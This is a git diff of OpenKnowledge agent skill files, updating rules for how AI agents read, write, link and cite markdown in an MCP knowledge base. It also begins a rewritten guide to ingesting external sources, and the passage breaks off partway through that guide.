--- a/packages/server/assets/skills/packs/worldbuilding/SKILL.md
+++ b/packages/server/assets/skills/packs/worldbuilding/SKILL.md
@@ -1,7 +1,6 @@
---
name: open-knowledge-pack-worldbuilding
-version: "0.18.0"
-description: "How to work in a Worldbuilding project (the `worldbuilding` starter pack): a fiction encyclopedia of characters, settings, themes, factions, and lore. Read when the project has these folders. Carries the auto-stub and consistency behaviors so that guidance does not live inside template bodies or folder descriptions. Complements the platform `open-knowledge` skill; does not replace it."
+description: "How to work in a Worldbuilding project (the `worldbuilding` starter pack): a fiction encyclopedia of characters, settings, themes, factions, and lore. Read when the project has these folders, OR when asked to add a character, setting, faction, or piece of lore, or to check the world for internal consistency. Carries the auto-stub and consistency behaviors so that guidance does not live inside template bodies or folder descriptions. Complements the platform `open-knowledge` skill; does not replace it."
compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack worldbuilding`."
metadata:
pack: "worldbuilding"
@@ -12,7 +11,7 @@ metadata:
This project is a fiction encyclopedia. The graph is the product: characters, settings, themes, factions, and lore that link to each other. The agent's main jobs are auto-stubbing new entities as they're mentioned and flagging contradictions. This skill holds those behaviors so templates and folder descriptions stay clean.
-> Pack guidance. The platform `open-knowledge` skill still governs every markdown operation.
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers the worldbuilding conventions on top.
## Folders
diff --git a/packages/server/assets/skills/packs/writing-pipeline/SKILL.md b/packages/server/assets/skills/packs/writing-pipeline/SKILL.md
index 8cfbd1ae1..018a0dc52 100644
--- a/packages/server/assets/skills/packs/writing-pipeline/SKILL.md
+++ b/packages/server/assets/skills/packs/writing-pipeline/SKILL.md
@@ -1,7 +1,6 @@
---
name: open-knowledge-pack-writing-pipeline
-version: "0.18.0"
-description: "How to work in a Writing Pipeline project (the `writing-pipeline` starter pack): a three-stage drafting flow, ideas → drafts → published. Read when the project has these folders. Carries the stage flow and review behaviors so that guidance does not live inside template bodies or folder descriptions. Complements the platform `open-knowledge` skill; does not replace it."
+description: "How to work in a Writing Pipeline project (the `writing-pipeline` starter pack): a three-stage drafting flow, ideas → drafts → published. Read when the project has these folders, OR when asked to capture an idea, start or revise a draft, review a piece before it ships, or publish it. Carries the stage flow and review behaviors so that guidance does not live inside template bodies or folder descriptions. Complements the platform `open-knowledge` skill; does not replace it."
compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack writing-pipeline`."
metadata:
pack: "writing-pipeline"
@@ -10,7 +9,10 @@ metadata:
---
# Writing Pipeline pack — how to work here
-A lean three-stage flow for short-to-medium-form writing (essays, newsletters, blog posts):
+A lean three-stage flow for short-to-medium-form writing (essays, newsletters, blog posts).
+
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers the drafting flow on top.
+
```
ideas/ one-line premises, captured before they fade
diff --git a/packages/server/assets/skills/project/SKILL.md b/packages/server/assets/skills/project/SKILL.md
index 6ae9f0078..167876d45 100644
--- a/packages/server/assets/skills/project/SKILL.md
+++ b/packages/server/assets/skills/project/SKILL.md
@@ -3,7 +3,6 @@ name: open-knowledge
description: "Authoritative agent-runtime contract for working inside an OpenKnowledge project — a markdown-CRDT knowledge base exposed over MCP. Use whenever reading, listing, searching, editing, or linting any `.md` or `.mdx` file in the project, and before any `mcp__open-knowledge__*` tool call (`exec`, `search`, `write`, `edit`, `lint`, and the rest). Installed by `ok init`, so its presence means this is an OpenKnowledge project and it governs every markdown file here. Covers the read/write tool surface, grounding and linking rules, folder/template conventions, the live browser preview, and the rule that OK's MCP tools — never native file tools — handle in-scope markdown."
compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server + code execution."
metadata:
- version: "0.45.1"
author: "Inkeep"
repository: "https://github.com/inkeep/open-knowledge"
---
@@ -19,17 +18,16 @@ OpenKnowledge (OK) is a markdown-CRDT collaboration platform exposed via MCP. Th
1. **Reads:** `exec("cat …")` for one doc, `exec("ls -A …")` for a directory (folder defaults + template menu), `exec("grep …")` for literal, `search` for ranked retrieval. Native `Read` / `Grep` only on source code (`.ts` / `.py` / …), never on in-scope `.md` / `.mdx`.
2. **Writes:** `write({ document: { path, content } })` for a new or full-replace doc; `edit({ document: { path, find, replace } })` for a body find/replace; `edit({ document: { path, frontmatter } })` for a frontmatter merge-patch (`null` deletes a key). `delete({ document })` removes, `move({ from, to })` moves/renames. Body find/replace is body-only. Pass a one-line `summary` (≤80 chars, user-facing outcome) on every content write.
-3. **Preview / open a doc — determine your ONE surface FIRST (once per session).** Before opening anything, pick where to focus, stop at first match: **`OK_DESKTOP_TERMINAL` set** (check your env — `echo "$OK_DESKTOP_TERMINAL"`) → OK Desktop's own terminal → `ok open <name>` (switches this window) · have an in-app browser (Claude Code Desktop's Browser pane, Cursor, Codex) → `preview_url` then open/navigate it to the doc (Claude Desktop: `preview_start({url})` to open, `navigate({url})` to move) · else plain CLI → `ok open <name>`. `ok open <name>` opens a **doc or folder** (auto-detected — no `--folder`); add `--skill <name>` for a skill. The `previewUrl` field is a route id, **not** your open mechanism — don't hand it to a browser just because you saw it. Don't `preview_screenshot` to confirm edits. Full Step-0 procedure + per-surface how-to: `references/preview.md`.
-4. **Workflow guides:** `workflow({ kind: 'ingest' | 'research' | 'consolidate' | 'discover' })` returns a procedural guide, not data. Use it when the work fits the layer.
+3. **Preview / open a doc — determine your ONE surface FIRST (once per session).** Stop at first match: **`OK_DESKTOP_TERMINAL` set** → OK Desktop's terminal → `ok open <name>` (switches this window) · in-app browser (Claude Code Desktop's Browser pane, Cursor, Codex) → `preview_url`, then open/navigate it to the doc · else plain CLI → `ok open <name>`. `ok open <name>` opens a doc or folder (auto-detected); `--skill <name>` for a skill. The `previewUrl` field is a route id, **not** your open mechanism. Don't `preview_screenshot` to confirm edits. Full Step-0 procedure + per-surface how-to: `references/preview.md`.
+4. **Knowledge layers:** capturing a source (ingest), synthesizing findings (research), promoting a decision (consolidate) — procedures, **not tool calls**; there is no `ingest` tool. Ingest ships here (`references/ingest-and-sources.md`); research + consolidate come with the `knowledge-base` pack. Layer model + packs: `references/starter-packs.md`.
5. **Direct questions:** a plain business question ("which customers…", "what did we decide about…") routes to `search` / `exec` + a cited chat answer — no "research" keyword needed. Persist only when durable + multi-doc + not already covered, and *offer* first. See `references/corpus-qa.md`.
-6. **Authoring or improving a skill** ("write/make a skill", "improve this skill", "turn this into a skill"): STOP and invoke the **`open-knowledge-write-skill`** skill — it owns scope choice (project vs global), the SKILL.md contract, evaluation, and install; don't improvise from this skill. Author through the `skill` target (`write({ skill })`), never a raw `.ok/skills/…` document. **Never read, diff, or edit the installed projections under `.claude/skills/` · `.cursor/skills/` · `.codex/skills/` · `.opencode/skills/` · `.pi/skills/` · `.agents/skills/`** — `install` generates them and overwrites them on the next sync; they are NOT source of truth.
+6. **Authoring or improving a skill** ("write/make a skill", "improve this skill", "turn this into a skill"): STOP and invoke the **`open-knowledge-write-skill`** skill — it owns scope choice (project vs global), the SKILL.md contract, evaluation, and install; don't improvise here. Author through the `skill` target (`write({ skill })`), never a raw path document. Skills are REAL folders under the editor dirs' `skills/` (`.claude` · `.cursor` · `.codex` · `.opencode` · `.pi` · `.agents`): ONE is the source, the rest are managed copies/symlinks. **Read and edit via the tools (`skills`, `edit({ skill })`) — they route to the source.** Never hand-edit a non-source copy: unedited copies refresh from the source, and editing one forks it into its own skill that stops refreshing.
## Tool index — 21 tools (router; the MCP tool descriptions carry each tool's full contract)
-- **Reads** — `exec` (primary; read-only `cat`/`ls`/`grep`/`find`/`head`/`tail`/`wc`/`sort`/`uniq`/`cut` + frontmatter/backlink/history enrichment; one command or one pipe, not a shell), `search` (ranked BM25 + recency), `history` (versions for a doc), `links` (`kind: backlinks|forward|dead|orphans|hubs|suggest`, or an array for a one-call audit), `skills` (find + read skills: omit `name` to LIST every skill across Project + Global, pass `name` to READ one — addressed by `name`+`scope`, NEVER by path), `config` (resolved config), `palette` (markdown-native authoring forms + `html preview` starters + theme tokens; `palette({ components })` for JSX schemas), `preview_url` (browser preview URL on demand), `share_link` (GitHub-substrate share URL; read-only, errors when no GitHub remote), `lint` (markdown-lint violations: pass `document` for one doc, omit for the whole project; pass `fix: true` with `document` to auto-fix fixable rules in place — attributed, live in the preview; the rest need `edit`/`write`), `audit` (every lint violation + broken internal link in one read-only report, by source file with lines; `path` scopes; for link VALIDATION use this, not `links`).
-- **Writes** — four native CRUD verbs, polymorphic over `document` / `folder` / `template` / `skill` / `asset` (pass EXACTLY ONE target, nested under its address key): `write` (create/overwrite; `write({ skill: { name, description, body, scope? } })` authors a skill → `.ok/skills/<name>/SKILL.md`, a **Draft** until `install`), `edit` (body find/replace OR frontmatter merge-patch; no asset), `delete` (remove), `move` (move/rename, rewrites referrers; a skill also takes `scope`/`toScope` to move Project↔Global — history resets, re-`install`). Output mirrors the input target key; the preview envelope (`previewUrl`, `warning`) stays top-level. Plus `install` (the Draft → Installed step for a `skill` — projects it into your editors; run after `write({ skill })`), `checkpoint` (named version), and `restore_version` (roll back). A folder's frontmatter is open-shape and self-only (does NOT cascade); templates are what new docs start with. **Authoring/improving a skill? invoke `open-knowledge-write-skill` (TL;DR #6), don't improvise.**
+- **Reads** — `exec` (primary; read-only `cat`/`ls`/`grep`/… plus frontmatter/backlink/history enrichment; one command or one pipe, not a shell), `search` (ranked BM25 + recency), `history` (doc versions), `links` (`kind: backlinks|forward|dead|orphans|hubs|suggest`, or an array for one call), `skills` (search + read: `query` → skills.sh; omit `name` to LIST managed (Project + Global); `name` READs one — by `name`+`scope`, never path), `config` (resolved config), `palette` (authoring forms + `html preview` starters + theme tokens; `palette({ components })` for JSX schemas), `preview_url` (browser preview URL on demand), `share_link` (GitHub-substrate share URL; read-only, errors without a GitHub remote), `lint` (markdown-lint violations: `document` for one doc, omit for the project; `fix: true` with `document` auto-fixes fixable rules in place — attributed, live in the preview; the rest need `edit`/`write`), `audit` (every lint violation + broken internal link in one read-only report, by source file with lines; `path` scopes; for link VALIDATION use this, not `links`).
+- **Writes** — four native CRUD verbs, polymorphic over `document` / `folder` / `template` / `skill` / `asset` (pass EXACTLY ONE target, nested under its address key): `write` (create/overwrite; `write({ skill: {…} })` authors a skill as a REAL folder at the project's default skill home — live immediately for that folder's agent), `edit` (body find/replace/frontmatter merge-patch; no asset), `delete` (remove), `move` (move/rename, rewrites referrers; a skill also takes `scope`/`toScope` for Project↔Global — history resets, re-`install`). Output mirrors the input key; the preview envelope (`previewUrl`, `warning`) stays top-level. Plus `install` (WHERE a `skill` lives: `add`/`remove` locations additively — editor ids, `agents`, or custom roots; `mode` + `convert` re-form ONLY the locations named; `source` moves the real folder. The source folder IS the skill — no "uninstall everywhere"; a skill dies only via `delete`), `import` (acquire a skill-dir into `add`'s locations; scripts never run), `checkpoint` (named version), and `restore_version` (roll back). A folder's frontmatter is open-shape and self-only (does NOT cascade); templates are what new docs start with.
- **Conflicts** — `conflicts` (`kind: list|content`), `resolve_conflict` (write a resolution + commit; destructive). See `references/conflict-resolution.md`.
-- **Workflow** — `workflow` (`kind: ingest|research|consolidate|discover`; procedural guides, not data). See `references/workflow-guides.md`.
**Self-correcting on misuse:** constraints JSON Schema can't express ("exactly one target", "`find` needs a `replace`", body-XOR-frontmatter) return `isError: true` with a one-line corrective shape. Read it and retry with that shape; don't guess.
@@ -44,11 +42,9 @@ Tools NOT in OK MCP (your host's): `preview_start`, `preview_screenshot`, `WebFe
- **Glob patterns that target markdown** (`**/*.md`, `specs/**`, `reports/**`, `docs/**`) — use `exec` with `find` or `exec("ls -A <dir>")`.
- **Dispatching the Explore / general-purpose subagent for markdown-heavy exploration** — subagents use native tools internally and bypass OK. Do markdown exploration yourself via `exec` / `search`. Subagents remain appropriate for **source-code** exploration.
- **Native `Read` / `Grep` on in-scope markdown inside `.ok/`** — `.ok/` is in-scope; treat its `.md` / `.mdx` like any other KB file.
-- **`ls` / `cat` / `find` on `.ok/skills/` to discover or read a skill** — `.ok/skills/` is opaque internal state; skills are addressed by `name`+`scope`, not by path. Use the `skills` tool (omit `name` to list across Project + Global, pass `name` to read one); never browse `.ok/skills/...` paths.
+- **`ls` / `cat` / `find` on skill folders to discover or read a skill** — skills are addressed by `name`+`scope`, not by path (a skill can live in any editor dir, the `.agents/skills/` hub, or a custom root, with copies elsewhere). Use the `skills` tool.
-**MCP tool visibility — not seeing `exec` is NOT the escape hatch.** MCP wiring varies by client (Claude Code, Cursor, Codex, Windsurf, VS Code). Server labels are user-defined; tools may not appear as top-level symbols named `exec`. If OpenKnowledge is registered as an MCP server here, route markdown reads through its `exec` / `search` via your client's documented MCP invocation (including any generic "call MCP tool" flow). Registration is the test, not top-level-symbol visibility.
-
-**Your initial tool list is NOT exhaustive — run tool discovery before concluding the MCP is missing.** Some clients (notably Codex) defer MCP tools behind a lazy `tool_search` / tool-discovery step, so `mcp__open-knowledge__*` is absent from the upfront tool set and only appears after you search for it. Absence from the visible list means "I have not discovered it yet," NOT "it is not registered." If you don't see the tools, your first move is to run your client's tool-discovery / `tool_search` for `open-knowledge` (or `exec` / `search` / `write`) — do not infer unavailability from the initial list.
+**Not seeing `exec` is NOT the escape hatch.** Wiring, labels, and tool visibility vary by client; some (notably Codex) defer MCP tools behind lazy discovery. Registration is the test, not top-level-symbol visibility — run tool discovery for `open-knowledge` first. Detail: `references/setup.md`.
**Escape hatch.** Native `Read` / `Grep` / `Glob` on `.md` / `.mdx` is allowed **only** when, after running tool discovery (above), no OpenKnowledge MCP server is registered for this project, **or** immediately after you actually invoked an MCP call and it failed — then begin a user-visible sentence with `OpenKnowledge MCP unavailable:`. "Not registered" is a conclusion you may only reach after tool discovery turned it up empty — never from the initial tool list alone. Never use the hatch because you skipped your client's MCP path, didn't see `exec` as a top-level tool, didn't run tool discovery, or rationalized the skill wasn't necessary.
@@ -67,19 +63,20 @@ Call `write` / `edit` as soon as you have content (route through MCP per the STO
**Persist incrementally — the knowledge base IS your checkpoint (MUST).** On any multi-step or long-running task — a research sweep, a multi-source synthesis, a batch of docs — write completed work to the KB as you finish each unit: per section, per source, per doc. Never hold finished findings only in your context waiting for one final write at the end. A rate limit, crash, or context compaction mid-task discards everything still unwritten; work already persisted survives, and you resume by reading the doc back. Create the target doc early (skeleton + frontmatter), then `edit` each section in as it firms up.
-**Pass a `summary` on every content write (SHOULD)** — a one-line (≤80 chars) user-facing change-note that becomes the timeline entry. **Reach for visual structure** (Callout, `mermaid`, table, `html preview`) where it carries the point better than prose; call `palette` as you draft. Advisory write-warnings, MDX authoring, delete/move mechanics, keeping `==`/`$`/`%%`/`<!--` literal, and visual authoring: `references/writing.md` + `references/components-and-visuals.md` + `references/media-and-assets.md`.
+**Pass a `summary` on every content write (SHOULD)** — a one-line (≤80 char) user-facing note; it becomes the timeline entry. **Reach for visual structure** (Callout, `mermaid`, table, `html preview`) where it carries the point better than prose; call `palette` as you draft. Advisory write-warnings, MDX authoring, delete/move mechanics, and visual authoring: `references/writing.md` + `references/components-and-visuals.md` + `references/media-and-assets.md`.
## Grounding — every factual claim needs a source (MUST)
-Knowledge-base docs are factual artifacts. Every claim must be traceable, and **the source has to live inside the knowledge base**, not float on the public web.
+KB docs are factual artifacts: every claim traceable, and **the source lives inside the knowledge base**, not on the public web.
-- **The knowledge base is source-of-truth — closed loop.** External sources don't get cited out to the live web; they get pulled in via `ingest`, then cited locally. A bare `[source](https://...)` URL inside a KB doc is **not** a finished citation — it's a TODO that says "this source still needs to be ingested." The chain only works if every leaf is a local doc.
-- **Every factual claim MUST cite its source at the point of claim.** No unsourced speculation.
-- **Web sources for KB docs** → fetch the page (host `WebFetch` / `WebSearch`), then `ingest` it as a local doc, then cite the local path: `[source name](./path/to/source.md)` (the local doc carries the URL in `source_url:`). Inline `[source](URL)` is a chat affordance, not a KB one.
-- **Self-fetched counts.** When YOU fetched a URL to ground a claim landing in the KB, that fetch triggers `ingest` exactly like a user share — don't downgrade to inline-URL citation because the fetch was agent-initiated.
-- **Internal cross-refs** → standard markdown link to the OK doc with the authoritative claim; that doc must cite its own sources (chains terminate in preserved local docs).
-- **If you don't have evidence:** run a web search and `ingest` it, OR mark inline `(TODO: needs source)`, OR don't write the claim. Do NOT fabricate. Unsourced speculation rots into untraceable tribal knowledge.
+**Ingest is a procedure, not a tool** — binary-vs-text classification, SSRF-safe fetch flags, size + executable gates, wrapper frontmatter — in [`references/ingest-and-sources.md`](references/ingest-and-sources.md). Read it before your first capture; a naive fetch-and-paste skips every gate.
+- **Closed loop.** External sources are pulled in by the ingest procedure, then cited locally. A bare `[source](https://...)` inside a KB doc is **not** a citation — it is a TODO meaning "still needs ingesting". The chain only works if every leaf is a local doc.
+- **Every factual claim MUST cite its source at the point of claim.** No unsourced speculation.
+- **Web sources** → fetch the page (host `WebFetch` / `WebSearch`), ingest it, then cite the path: `[source name](./path/to/source.md)` (the local doc carries `source_url:`). Inline `[source](URL)` is a chat affordance, not a KB one.
+- **Self-fetched counts.** A URL YOU fetched to ground a claim gets the same ingest — no inline-URL downgrade.
+- **Internal cross-refs** → link the OK doc holding the authoritative claim; that doc cites its own sources (chains terminate in preserved local docs).
+- **No evidence?** Search and ingest the result, OR mark `(TODO: needs source)`, OR don't write the claim. Do NOT fabricate — unsourced speculation rots into untraceable tribal lore.
## Linking — standard markdown links (MUST)
Link every noun-phrase that names another document — `[text](./relative/path.md)` — and link liberally. **Every link must resolve to a doc that exists by the time you're done** (a same-pass forward-reference you create later in the pass is fine; for one that genuinely won't exist, leave the mention as plain prose + a tracked task). Never backtick a link (`` `[text](./foo.md)` `` is a bug) and never use HTML `<a>`. **Read `brokenLinks` on every `write`/`edit` response: `[]` means all links resolve; a populated list names each broken `href` + `reason` (`no-such-doc` / `no-such-file` / `unresolvable`) — fix them in a follow-up `edit`.** `audit` is the authoritative end-state link check (the editor's red-underline is slug-tolerant and lies, so trust the tool). External web sources are NOT inline body links (see Grounding). Full rule set + the `[[Page]]` legacy note: `references/linking.md`.
@@ -88,7 +85,7 @@ Link every noun-phrase that names another document — `[text](./relative/path.m
Every `.md` / `.mdx` needs YAML frontmatter — `title` + `description` required, `tags` recommended. Two **opt-in, nested** folder mechanisms: folder frontmatter (`<folder>/.ok/frontmatter.yml` — the folder's own open-shape properties; self-only, does NOT cascade into child docs) and templates (`<folder>/.ok/templates/` — what new docs start with). Most folders have NO `.ok/`. A doc's frontmatter is exactly its own on-disk YAML. Structural model + the full pre-write checklist: `references/folder-model.md`. Template authoring + folder editing: `references/template-authoring.md`. Frontmatter-vs-body edit rules: `references/doc-editing.md`.
-- **Read the folder before writing (MUST).** Before creating/editing docs in a folder, call `exec("ls -A <folder>")` once per folder per session — it returns the folder's `title`/`description`/`tags` + `templates_available`. Skipping it lands docs that violate folder discipline. (If a folder has no frontmatter AND no templates AND the repo has substantial content elsewhere, it isn't onboarded — invoke `workflow({ kind: 'discover' })` first.)
+- **Read the folder before writing (MUST).** Before creating/editing docs in a folder, call `exec("ls -A <folder>")` once per folder per session — it returns the folder's `title`/`description`/`tags` + `templates_available`. Skipping it lands docs that violate folder discipline. (If a folder has no frontmatter AND no templates AND the repo has substantial content elsewhere, it isn't onboarded — run `references/onboard-existing-repo.md` first.)
- **Use a template when one fits (MUST).** Instantiate via `write({ document: { path, template } })`; inherited templates count. Skip only when none match or the user asked for free-form (note why in chat). Create templates proactively when a shape recurs.
- **When recurring per-doc properties emerge (MUST).** Writing the same frontmatter on multiple siblings → bake those starting values into a template (`write({ template })`). Folder frontmatter does not cascade values into docs.
@@ -104,26 +101,28 @@ Projects with GitHub sync may carry docs in merge-conflict state; mutating calls
| Explore a markdown-heavy dir | `Agent(Explore)` (bypasses OK) | `exec`/`search` yourself |
| Reference another doc | `` `[text](./p.md)` `` (backticked) or HTML `<a>` | `[text](./p.md)` |
| Embed an image | `<img>`, a `localhost`/`preview_url` URL, hot-link | save locally + `![meaningful alt](./path)` |
-| Factual claim in a KB doc | prose with no citation, OR inline `[src](https://…)` | `ingest` the source, cite the local path |
+| Factual claim in a KB doc | prose with no citation, OR inline `[src](https://…)` | ingest the source (`references/ingest-and-sources.md`), cite the local path |
| Confirm an edit landed | `preview_screenshot` / verification loop | trust the CRDT tool response |
| Delete a markdown doc | `Bash: rm` / native deletion | `delete({ document })` (`checkpoint()` first if risky) |
| Write in an unfamiliar folder | straight to `write` | `exec("ls -A <folder>")` first |
Full table: `references/anti-patterns.md`.
-## Workflow tools — when to invoke them
+## Knowledge layers — the shape most KB work takes
-`workflow` returns **procedural guidance, not fetched data** — follow its numbered steps; don't skip STOP gates. **These are your default move over `write`** when the work fits a layer.
+Three recurring practices, not tool calls — each a full procedure that ships as skill guidance.
+
+| Layer | When | Procedure |
+| --- | --- | --- |
+| **ingest** | Preserve a shared URL/PDF/file verbatim, or you fetched a URL to ground a claim (binary sources preserved, not scraped). | `references/ingest-and-sources.md` — ships here, §Grounding depends on it |
+| **research** | Investigate / compare / synthesize sources → `status: provisional` article + `sources:`. | `open-knowledge-pack-knowledge-base-research` skill |
+| **consolidate** | A decision was made → canonical source-of-truth with a `supersedes:` chain. | `open-knowledge-pack-knowledge-base-consolidate` skill |
-| `kind` | When |
-| --- | --- |
-| `ingest` | Preserve a shared URL/PDF/file verbatim, OR you fetched a URL to ground a KB claim (binary sources preserved, not scraped). |
-| `research` | Investigate / compare / synthesize multiple sources → `status: provisional` article + `sources:`. |
-| `consolidate` | A decision was actually made → commit canonical source-of-truth with a `supersedes:` chain. |
-| `discover` | First arrival at a repo with existing content and no folder frontmatter/templates → extract conventions, activate the link graph. |
+Research and consolidate arrive with `ok seed --pack knowledge-base`. **Without that pack you do not have those procedures** — don't improvise one; do the work as an ordinary grounded `write`, or offer to seed it (`ok seed --pack knowledge-base --dry-run` shows what it would add).
-Don't chain silently — let the user drive `ingest` → `research` → `consolidate` transitions; per-tool STOP gates override session-level "don't stop to ask" hints. After any turn that changes KB content, check for a `log.md` and follow its contract (see `references/cadence-and-logs.md`). Interleave a multi-doc batch so the preview shows narrative progress. Operating detail + starter packs: `references/workflow-guides.md`; binary-source (`ingest`-produced) wrapper frontmatter: `references/ingest-and-sources.md`.
+Don't chain silently: let the user drive ingest → research → consolidate, and a procedure's STOP gates override session-level "don't stop to ask" hints. After any turn that changes KB content, check for a `log.md` and follow its contract (`references/cadence-and-logs.md`). Interleave a multi-doc batch so the preview shows narrative progress.
+Onboarding a repo that already has content: `references/onboard-existing-repo.md`. Layer model + packs: `references/starter-packs.md`.
## Server lifecycle
If `write` / `edit` returns `"Hocuspocus server is not running"`, run `ok start` (via Bash) and retry. Never fall back to native `Edit` / `Write` for in-scope markdown.
diff --git a/packages/server/assets/skills/project/references/anti-patterns.md b/packages/server/assets/skills/project/references/anti-patterns.md
index bfffc5301..9dd0db779 100644
--- a/packages/server/assets/skills/project/references/anti-patterns.md
+++ b/packages/server/assets/skills/project/references/anti-patterns.md
@@ -23,7 +23,7 @@
| Add an image | empty alt `![](./x.png)` or generic alt `![image](./x)` | meaningful alt + source caption below |
| Catalog folder contents | create `INDEX.md` hub file | `edit({ folder: { path, frontmatter } })` writes `<folder>/.ok/frontmatter.yml` |
| Write a doc in an unfamiliar folder | go straight to `write` with hand-authored markdown | `exec("ls -A <folder>")` first — read the folder description + `templates_available` before writing |
-| Land in an existing repo without orienting | go straight to `write` when no folder frontmatter / templates exist | invoke `workflow({ kind: 'discover' })` once for the project — extracts conventions from siblings, sets folder frontmatter + templates, activates the link graph |
+| Land in an existing repo without orienting | go straight to `write` when no folder frontmatter / templates exist | run `onboard-existing-repo.md` once for the project — extracts conventions from siblings, sets folder frontmatter + templates, activates the link graph |
| Author a doc when a matching template exists | `write({ document: { path, content: "..." } })` from scratch | `write({ document: { path, template } })` — templates carry the folder's frontmatter + body discipline |
| Change a doc's title / tags | `edit({ document: { path, find, replace } })` to swap the YAML (rejected — HTTP 400 frontmatter-intersect) | `edit({ document: { path, frontmatter } })` for metadata; `write({ document: { path, content, frontmatter, position: "replace" } })` for full rewrites |
| Repeat the same frontmatter on sibling docs | hand-set identical `tags` / `title` prefix on every new file | `write({ template })` once — new docs start from the template |
diff --git a/packages/server/assets/skills/project/references/corpus-qa.md b/packages/server/assets/skills/project/references/corpus-qa.md
index d1ca80a23..dea0ef5ef 100644
--- a/packages/server/assets/skills/project/references/corpus-qa.md
+++ b/packages/server/assets/skills/project/references/corpus-qa.md
@@ -1,6 +1,6 @@
# Answering direct questions from the corpus
-A direct question you can answer from existing documents — "which customers have non-standard indemnity?", "can we use Alloy's logo?", "what did we decide about X?" — does **not** need the words "research" or "report" to route here. Retrieve with `search` / `exec`, read the relevant docs, and **answer in chat with inline citations to the source docs you used**. That is the complete, correct default — most questions end here. This is NOT `workflow({ kind: 'research' })`: research gathers and synthesizes *external* sources behind a scoping gate; a corpus question just reads what the knowledge base already holds. (Inside an active `workflow({ kind: 'research' })` session, research's own "file valuable Q&A back" step governs how answers are persisted — not this section.)
+A direct question you can answer from existing documents — "which customers have non-standard indemnity?", "can we use Alloy's logo?", "what did we decide about X?" — does **not** need the words "research" or "report" to route here. Retrieve with `search` / `exec`, read the relevant docs, and **answer in chat with inline citations to the source docs you used**. That is the complete, correct default — most questions end here. This is NOT the **research** layer: research gathers and synthesizes *external* sources behind a scoping gate; a corpus question just reads what the knowledge base already holds. (Inside an active research pass, research's own "file valuable Q&A back" step governs how answers are persisted — not this section.)
**Offer to persist the answer only when it is durable knowledge the KB is currently missing** — when ALL of these hold:
diff --git a/packages/server/assets/skills/project/references/folder-model.md b/packages/server/assets/skills/project/references/folder-model.md
index 739556d68..9a6dfb41e 100644
--- a/packages/server/assets/skills/project/references/folder-model.md
+++ b/packages/server/assets/skills/project/references/folder-model.md
@@ -33,7 +33,7 @@ A doc's frontmatter is exactly its own on-disk YAML — folder frontmatter never
Before creating or editing docs in a folder, **always** call `exec("ls -A <folder>")` once. The response carries the folder's own `title`/`description`/`tags` + `templates_available` (the template menu for `write({ document: { template } })`). Skipping this is how agents land docs that violate folder discipline.
-0. **First-contact check.** If the folder has no frontmatter of its own AND `templates_available` is empty AND `exec("ls -A")` shows substantial content elsewhere, the project hasn't been onboarded — STOP and invoke `workflow({ kind: 'discover' })`. Skip on subsequent writes once confirmed.
+0. **First-contact check.** If the folder has no frontmatter of its own AND `templates_available` is empty AND `exec("ls -A")` shows substantial content elsewhere, the project hasn't been onboarded — STOP and run `onboard-existing-repo.md`. Skip on subsequent writes once confirmed.
1. **Read the folder's description** — its `title`/`description`/`tags` tell you what the folder is for. (These describe the folder; they are NOT defaults the doc inherits.)
2. **Read `templates_available`** — each entry has `name`, `title`, `description`, `scope` (`local` / `inherited`). If one matches, **prefer it** over free-form markdown (it's the folder's contract — templates carry frontmatter + body structure hand-authored docs routinely miss).
3. **Read recent siblings** — new docs should match the shape of existing ones (filename, frontmatter, body structure).
diff --git a/packages/server/assets/skills/project/references/ingest-and-sources.md b/packages/server/assets/skills/project/references/ingest-and-sources.md
index f306fbef2..0b7cf349d 100644
--- a/packages/server/assets/skills/project/references/ingest-and-sources.md
+++ b/packages/server/assets/skills/project/references/ingest-and-sources.md
@@ -1,24 +1,241 @@
-# Binary-source wrappers (`ingest`-produced)
+# Ingest — capture an external source as raw reference material
-Docs that wrap a co-located binary file under `external-sources/` carry extra frontmatter so the wrapper-binary pair is fully described:
+Capture an external source into the knowledge base as raw reference material. The KB is **closed-loop**: external sources are pulled IN so downstream docs cite local paths, never bare web URLs. This applies whether a user shared the source OR you fetched it yourself to ground a claim — agent-initiated fetches are not exempt (core §Grounding). **Raw preservation only** — no summary, no analysis, no interpretation.
+
+**Bias toward binary preservation.** When the source is a binary file (PDF, image, audio, video, Office doc, archive, dataset), preserve the raw bytes — do NOT settle for a text scrape. OK ships a complete asset-embed surface (`![[file.ext]]` wiki-embed, file-watcher pickup, sha256 dedup, blocked-extension enforcement); this procedure bridges the source to it via your shell tool.
+
+Sources land under `external-sources/` when the project has that folder (the `knowledge-base` starter pack's raw layer); otherwise pick the project's equivalent and stay consistent. Paths below are relative to the resolved `content.dir` (`config({ key: 'content.dir' })`).
+
+## Step 0: Is this source worth preserving?
+
+Before fetching anything, sanity-check:
+
+- **Is it in scope?** If the source is unrelated to what this knowledge base is accumulating, ingest is pollution. Check the existing layout: `exec("ls -A <content-dir>")`.
+- **Is it already ingested?** `exec("grep -rln <source-url-or-title-slug> <content-dir>")` — if the same source is already present with current content, stop and reuse. Re-ingest is appropriate when the source changed materially — see Step 5 for sha256-mismatch semantics.
+- **Is the intent actually preservation or analysis?** If the user wants findings synthesized rather than raw bytes archived, redirect to a research pass (which captures sources as needed). Don't pre-ingest speculatively.
+
+If all three checks pass, proceed.
+
+### Shell-capability self-detection (evaluate before any shell call)
+
+If your host does not expose a shell-like tool (no Bash / Terminal / shell-exec / equivalent), you cannot run `curl` for either the HEAD probe (Step 1a) or the binary download (Step 1b). Detect once at the start via a trivial probe (`echo ok` via the host's shell affordance, or a known-safe `which curl` invocation). On absence of a shell tool, route the source straight to **Step 1c (text fetch / shell-less fallback)** — skipping Step 1a's HEAD-tiebreaker classification and Step 1b's binary download entirely — and surface the degradation explicitly to the user.
+
+## Step 1a: Detect source kind (binary vs text)
+
+Classify the source before fetching. **`.svg` is intentionally absent from the binary-extension list — SVG can contain scripts and is treated as a scripted-document extension; see Step 1b's executable hard-block.**
+
